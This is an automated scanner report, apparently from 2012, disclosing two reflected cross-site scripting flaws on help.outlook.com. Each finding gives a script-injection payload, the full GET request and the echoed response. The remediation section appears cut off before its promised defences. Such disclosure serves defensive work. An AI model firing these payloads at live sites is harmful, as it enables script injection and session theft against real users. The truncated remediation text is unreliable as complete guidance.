Report generated by XSS.Cx at Wed Aug 08 11:17:10 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, help.outlook.com

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1. Cross-site scripting (reflected)

1.1. http://help.outlook.com/en-us/140/relatedtopicsearch [name of an arbitrarily supplied request parameter]

1.2. http://help.outlook.com/en-us/140/relatedtopicsearch [xss parameter]



1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://help.outlook.com/en-us/140/relatedtopicsearch [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://help.outlook.com
Path:   /en-us/140/relatedtopicsearch

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 4571d<script>alert(1)</script>4f1a13151de was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en-us/140/relatedtopicsearch?id=bb899469&4571d<script>alert(1)</script>4f1a13151de=1 HTTP/1.1
Host: help.outlook.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: text/html, */*
Referer: http://help.outlook.com/en-us/140/bb899469.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: MC0=1323001760149; ehcLightBrowser=0; WT_NVR=0=/:1=en-us:2=en-us/140; TocHashCookie=cc745982(n)/dd127008(n)/dd302406(n)/dd302614(n)/na/; omniID=1323001755235_1515_e0ce_95f0_8fdf1e542da9; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: A=I&I=AxUFAAAAAAArCQAAf1XME3tNGfEBpBSW1P/mpw!!&M=1; domain=.microsoft.com; expires=Wed, 04-Dec-2041 12:35:49 GMT; path=/
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Sun, 04 Dec 2011 12:35:49 GMT
Content-Length: 1913

<ul><li><a href="http://help.outlook.com/en-us/140/Bb899464.aspx?4571d<script>alert(1)</script>4f1a13151de=1" title="Calendar > Change a Repetition Interval">Calendar > Change a Repetition Interval</a
...[SNIP]...

1.2. http://help.outlook.com/en-us/140/relatedtopicsearch [xss parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://help.outlook.com
Path:   /en-us/140/relatedtopicsearch

Issue detail

The value of the xss request parameter is copied into the HTML document as plain text between tags. The payload fb41b<script>alert(1)</script>3846899547 was submitted in the xss parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en-us/140/relatedtopicsearch?xss=1fb41b<script>alert(1)</script>3846899547&id=cc498709 HTTP/1.1
Host: help.outlook.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: text/html, */*
Referer: http://help.outlook.com/en-us/140/cc498709.aspx?xss=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ehcLightBrowser=0; TocHashCookie=cc745982(n)/cc745996(n)/gg605165(n)/na/; omniID=1323001755235_1515_e0ce_95f0_8fdf1e542da9; s_cc=true; s_sq=%5B%5BB%5D%5D; WT_NVR=0=/:1=en-us:2=en-us/140

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: A=I&I=AxUFAAAAAABmBwAAxXwzaclB0RXi1EiHF3wa9Q!!&M=1; domain=.microsoft.com; expires=Wed, 04-Dec-2041 12:35:51 GMT; path=/
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Sun, 04 Dec 2011 12:35:51 GMT
Content-Length: 2095

<ul><li><a href="http://help.outlook.com/en-us/140/Cc498695.aspx?xss=1fb41b<script>alert(1)</script>3846899547" title="Create a New Multi-Mailbox Search">Create a New Multi-Mailbox Search</a></li><li>
...[SNIP]...

Report generated by XSS.Cx at Wed Aug 08 11:17:10 EDT 2012.